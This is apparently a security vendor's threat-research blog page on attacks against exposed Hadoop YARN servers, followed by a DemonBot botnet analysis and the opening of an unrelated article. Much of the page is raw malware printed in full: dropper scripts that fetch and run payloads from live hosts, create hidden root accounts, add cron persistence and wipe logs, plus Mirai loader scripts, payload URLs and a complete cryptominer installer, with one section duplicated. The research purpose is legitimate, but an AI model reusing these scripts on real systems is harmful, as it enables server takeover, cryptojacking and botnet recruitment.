http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

New DemonBot Discovered

October 25, 2018 — by Pascal Geenens — 31

Are you using Hadoop for data analytics? If so, know that a new bot is targeting Hadoop clusters with the intention of performing DDoS attacks powered by the strength of cloud infrastructure servers. Hadoop is an open source distributed processing framework that manages storage and data processing for big data applications running in clustered systems.

Radware Threat Research Center is monitoring and tracking a malicious agent that is leveraging a Hadoop YARN unauthenticated remote command execution in order to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

DemonBot spreads only via central servers and does not expose worm-like behavior exhibited by Mirai based bots. As of today, Radware is tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 Million exploits per day. Note that though we did not find any evidence that DemonBot is actively targeting IoT devices at this time, Demonbot is not limited to x86 Hadoop servers and is binary compatible with most known IoT devices, following the Mirai build principles.

It is not the first time that cloud infrastructure servers have been targeted. Earlier this month Security Researcher Ankit Anubhav discovered a hacker leveraging the same Hadoop Yarn bug in a Sora botnet variant. Hadoop clusters typically are very capable and stable platforms and can individually account for much larger volumes of DDoS traffic compared to IoT devices. The DDoS attack vectors supported by DemonBot are UDP and TCP floods.

Hadoop YARN Exploits

Radware Research has been tracking malicious actors exploiting a Hadoop YARN unauthenticated remote command execution for which proof of concept code was first published here in March of this year. YARN, Yet Another Resource Negotiator, is a prerequisite for Enterprise Hadoop and provides cluster resource management allowing multiple data processing engines to handle data stored in a single platform. YARN exposes a REST API which allows remote applications to submit new applications to the cluster. The exploit requires two steps:

Our deception network recorded repeated attempts for /ws/v1/cluster/apps/new-application, slowly starting end of September and growing to over 1 million attempts per day for most of October.

The number of unique IPs from where the requests originated grew from a few servers to over 70 servers this week.

Older exploits from servers that are offline by now were referencing a well-known Mirai variant Owari, infamous because of the weak password used by the hackers for securing their command and control database:

Recently, however, we found Owari to be replaced by a new bot:

This new ‘bash’ binary was added to the server on Sunday Oct 21^st. The same server also hosts the typical shell script we came to expect from multiplatform IoT malwares:

While the botnet comes with all the typical indicators of Yet-Another-Mirai-Botnet, a closer look at the binaries revealed to be different enough to continue the investigation.

DemonBot v1 – © Self-Rep-NeTiS

The reversing of the unstripped ‘bash’ binary revealed some unfamiliar function names and an atypical string which provided a unique fingerprint for the botnet code:

Searching through pastebin archives soon revealed a unique match on a document that was pasted on Sept 29^th by an actor going by the alias of Self-Rep-NeTiS. The paste contained the full source code for a botnet which the actor dubbed ‘DemonBot’. Further searches through the archives revealed the source code for the Command and Control server DemonCNC and the Python Build script for the multi-platform bots.

Both DemonBot.c and DemonCNC.c had an identical signature:

DemonCNC

The DemonBot Command and Control service is a self-contained C program that is supposed to run on a central command and control server and it provides two services:

A bot command and control listener service – allowing bots to register and listen for new commands form the C2
A remote access CLI allowing botnet admins and potential ‘customers’ to control the activity of the botnet

Starting the C2 service requires 3 arguments: a bot listener port, the number of threads and a port for the remote access CLI.

Credentials for remote users are stored in a plain text file ‘login.txt’ in the format “username password” using one line per credential pair.

Upon connecting to the remote access CLI (port 8025 in our demo setup) using telnet, the botnet greets us and asks for a username followed by a password prompt. If the provided credentials match one of the lines in the login.txt file, the user is given access to the bot control interface.

The HELP command reveals the botnet commands which will be discussed below in the section about DemonBot itself.

DemonBot

DemonBot is the program that is supposed to be running on infected servers and will connect into the command and control server and listens for new commands.

When a new DemonBot is started, it connects to the C2 server which is hardcoded with IP and port. If no port was specified for the C2 server the default port 6982 is used. The C2 connection is plain text TCP.

Once successfully connected, DemonBot sends information about the infected device to the C2 server in the format:

Bot_ip

The public IP address of the device or server infected with DemonBot:

Port

Either 22 or 23 depending on the availability of python or perl and telnetd on the device/server:

Build

“Python Device”, “Perl Device”, “Telnet Device” or “Unknown” depending on the availability of a Python or Perl interpreter on the device server:

Arch

The architecture, determined at build time and depending on the executing binary on the compromised platform – supported values for Arch are: x86_64 | x86_32 | Arm4 | Arm5 | Arm6 | Arm7 | Mips | Mipsel | Sh4 (SuperH) | Ppc (PowerPC) | spc (Sparc) | M68k | Arc

OS

Limited identification of the host OS running the bot based on package installer configuration files. Value is either “Debian Based Device”, “REHL Based Device” or “Unknown OS”

Malicious payloads

The bot supports the following commands:

If multiple IPs are passed in the argument in a comma-separated list, an individual attack process is forked for each IP.

The <spoofit> argument works as a netmask. If spoofit is set to 32, there is no spoofing of the bot’s source IP. If spoofit is set to a number less than 32, a random IP is generated within the bot_ip/<spoofit> network every <pollinterval> packets:

Fixed payload used by the STD UDP attack:

IOC

8805830c7d28707123f96cf458c1aa41 wget
1bd637c0444328563c995d6497e2d5be tftp
a89f377fcb66b88166987ae1ab82ca61 sshd
8b0b5a6ee30def363712e32b0878a7cb sh
86741291adc03a7d6ff3413617db73f5 pftp
3e6d58bd8f10a6320185743d6d010c4f openssh
fc4a4608009cc24a757824ff56fd8b91 ntpd
d80d081c40be94937a164c791b660b1f ftp
b878de32a9142c19f1fface9a8d588fb cron
46a255e78d6bd3e97456b98aa4ea0228 bash
53f6451a939f9f744ab689168cc1e21a apache2
41edaeb0b52c5c7c835c4196d5fd7123 [cpu]

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Protecting Sensitive Data: A Black Swan Never Truly Sits Still

October 10, 2018 — by Mike O'Malley — 1

The black swan – a rare and unpredictable event notorious for its ability to completely change the tides of a situation.

For cybersecurity, these nightmares can take the form of disabled critical services such as municipal electrical grids and other connected infrastructure networks, data breaches, application failures, and DDoS attacks. They can range from the levels of Equifax’s 2018 Breach Penalty Fines (estimated close to $1.5 billion), to the bankruptcy of Code Spaces following their DDoS attack and breach (one of the 61% of SMBs companies that faced bankruptcy per service provider Verizon’s investigations), to a government-wide shutdown of web access in public servants’ computers in response to a string of cyberattacks.

